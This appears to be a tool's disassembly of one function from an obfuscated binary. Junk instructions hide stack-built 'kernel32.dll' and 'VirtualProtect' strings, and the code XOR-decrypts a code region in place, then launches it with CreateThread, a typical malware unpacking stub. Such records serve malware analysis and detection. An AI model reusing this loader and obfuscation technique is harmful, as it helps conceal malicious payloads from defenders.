Function at 0x41017f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
push 0x86d43dd6
add esp, 4
popfd
xchg esi, esi
call fcn.00410596
pushfd
push ebx
add esp, 4
popfd
lea eax, [ebp - 0xd8]
push ebx
push edi
pop edi
pop ebx
push edi
push edx
pop edx
pop edi
mov ebx, 0x61
pushfd
xor edi, 0x3720bd22
xor edi, 0x3720bd22
popfd
xchg ebx, ebx
add bx, 0xa
pushfd
push ebx
add esp, 4
popfd
nop
mov word [eax], bx
xchg ecx, eax
xchg ecx, eax
sub bx, 6
pushfd
push eax
add esp, 4
popfd
mov word [eax + 2], bx
xchg edi, edx
xchg edx, edi
xchg ebx, ebx
add bx, 0xd
pushfd
push esi
add esp, 4
popfd
mov word [eax + 4], bx
mov ebx, ebx
push edi
pop edi
sub bx, 4
push ebx
pop ebx
mov word [eax + 6], bx
pushfd
push esi
add esp, 4
popfd
sub bx, 9
push edi
push edx
pop edx
pop edi
xchg edx, edx
mov word [eax + 8], bx
pushfd
xor edx, 0xc91a739e
xor edx, 0xc91a739e
popfd
add bx, 7
push edi
push edx
pop edx
pop edi
pushfd
push 0x47dd7d9c
add esp, 4
popfd
mov word [eax + 0xa], bx
push edx
pop edx
sub bx, 0x39
xchg ebx, esi
xchg esi, ebx
pushfd
xor esi, 0xce75d9c4
xor esi, 0xce75d9c4
popfd
mov word [eax + 0xc], bx
pushfd
xor esi, 0xd8c97077
xor esi, 0xd8c97077
popfd
dec bx
nop
mov word [eax + 0xe], bx
pushfd
xor ebx, 0x5997baf
xor ebx, 0x5997baf
popfd
sub bx, 4
mov esi, esi
pushfd
inc edi
dec edi
popfd
mov word [eax + 0x10], bx
push edx
pop edx
pushfd
push 0xba4b16c1
add esp, 4
popfd
add bx, 0x36
push edi
push esi
pop esi
pop edi
push eax
pop eax
mov word [eax + 0x12], bx
xchg ebx, ecx
xchg ecx, ebx
add bx, 8
mov esi, esi
xchg esi, eax
xchg esi, eax
mov word [eax + 0x14], bx
pushfd
push ebx
add esp, 4
popfd
mov eax, eax
mov word [eax + 0x16], bx
pushfd
push 0x418f917a
add esp, 4
popfd
pushfd
push edx
add esp, 4
popfd
mov word [eax + 0x18], 0
pushfd
push 0x1e352c5b
add esp, 4
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
xor eax, 0xa84ed3f1
xor eax, 0xa84ed3f1
popfd
pushfd
inc edi
dec edi
popfd
mov dword [ebp - 0x10], eax
push edx
pop edx
lea eax, [ebp - 0xd8]
mov ecx, ecx
mov ebx, 0x61
pushfd
push edi
add esp, 4
popfd
sub bl, 0xb
mov edx, edx
mov byte [eax], bl
pushfd
push 0x42cacd4a
add esp, 4
popfd
xchg esi, esi
add bl, 0x13
xchg edi, edi
push eax
pop eax
mov byte [eax + 1], bl
pushfd
inc edi
dec edi
popfd
pushfd
xor esi, 0x7b090ec
xor esi, 0x7b090ec
popfd
add bl, 9
pushfd
xor edi, 0x1b328fc5
xor edi, 0x1b328fc5
popfd
xchg edx, edx
mov byte [eax + 2], bl
pushfd
inc eax
dec eax
popfd
add bl, 2
xchg edx, edx
mov byte [eax + 3], bl
pushfd
xor edx, 0xe6daaef
xor edx, 0xe6daaef
popfd
pushfd
push 0x66afa70e
add esp, 4
popfd
inc bl
push edi
push edx
pop edx
pop edi
pushfd
push 0x17bafb81
add esp, 4
popfd
mov byte [eax + 4], bl
xchg ecx, ecx
sub bl, 0x14
push ecx
pop ecx
mov byte [eax + 5], bl
push ebx
pop ebx
add bl, 0xb
pushfd
xor ebx, 0xd0dee3a6
xor ebx, 0xd0dee3a6
popfd
push eax
push ebx
pop ebx
pop eax
mov byte [eax + 6], bl
push ecx
pop ecx
pushfd
push ecx
add esp, 4
popfd
sub bl, 0x1c
push edi
pop edi
pushfd
push 0x3904d9cc
add esp, 4
popfd
mov byte [eax + 7], bl
pushfd
push 0x1732c14e
add esp, 4
popfd
add bl, 0x22
mov ecx, ecx
xchg esi, esi
mov byte [eax + 8], bl
pushfd
xor ebx, 0x96e328eb
xor ebx, 0x96e328eb
popfd
sub bl, 3
push edi
pop edi
mov byte [eax + 9], bl
pushfd
push 0x358c8f6
add esp, 4
popfd
add bl, 5
pushfd
xor esi, 0xfd2dc47c
xor esi, 0xfd2dc47c
popfd
push ecx
pop ecx
mov byte [eax + 0xa], bl
pushfd
inc edx
dec edx
popfd
pushfd
inc edi
dec edi
popfd
sub bl, 0xf
xchg ebx, ecx
xchg ecx, ebx
mov byte [eax + 0xb], bl
pushfd
push ebx
add esp, 4
popfd
pushfd
push edi
add esp, 4
popfd
sub bl, 2
pushfd
push 0x6d388e28
add esp, 4
popfd
mov byte [eax + 0xc], bl
xchg esi, esi
pushfd
inc eax
dec eax
popfd
add bl, 0x11
pushfd
xor esi, 0xb54e85ad
xor esi, 0xb54e85ad
popfd
mov byte [eax + 0xd], bl
mov eax, eax
xchg ebx, esi
xchg esi, ebx
mov byte [eax + 0xe], 0
pushfd
push eax
add esp, 4
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
nop
mov dword [ebp - 0xc], eax
push ebx
push edx
pop edx
pop ebx
lea eax, [ebp - 8]
pushfd
push edi
add esp, 4
popfd
mov ecx, ecx
push eax
push 4
push 0x78b7
push entry0
call dword [ebp - 0xc]
mov edi, edi
xchg ecx, eax
xchg ecx, eax
mov edi, entry0
pushfd
inc ecx
dec ecx
popfd
pushfd
xor ecx, 0x15afc855
xor ecx, 0x15afc855
popfd
mov esi, 0x40100e
push ebx
push ecx
pop ecx
pop ebx
xchg ebx, edi
xchg edi, ebx
mov ecx, 0x78b7
push ebx
pop ebx
mov edx, 0x84ef20ee
pushfd
push edx
add esp, 4
popfd
mov ebx, 0x28a76f0b
push esi
push eax
pop eax
pop esi
mov esi, esi
cld
xchg edx, edx
lodsb al, byte [esi]
mov edx, edx
xor al, dl
mov edi, edi
stosb byte es:[edi], al
xchg esi, esi
ror edx, 5
mov eax, eax
imul edx, edx, 7
mov edi, edi
test ebx, 1
mov esi, esi
je 0x410502
xchg esi, esi
add esi, 2
mov ecx, ecx
ror ebx, 1
nop
dec ecx
xchg edx, edx
test ecx, ecx
mov ebx, ebx
jne 0x4104db
xchg esi, edi
xchg edi, esi
pushfd
push 0xd254cea7
add esp, 4
popfd
lea eax, [ebp - 8]
mov edi, edi
pushfd
push ebx
add esp, 4
popfd
push eax
push 0x20
push 0x78b7
push entry0
call dword [ebp - 0xc]
push esi
push ebx
pop ebx
pop esi
pushfd
push ecx
add esp, 4
popfd
lea eax, [ebp - 4]
pushfd
inc ecx
dec ecx
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
nop
push eax
pop eax
xchg edx, eax
xchg edx, eax
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push ecx
add esp, 4
popfd
jmp 0x41055f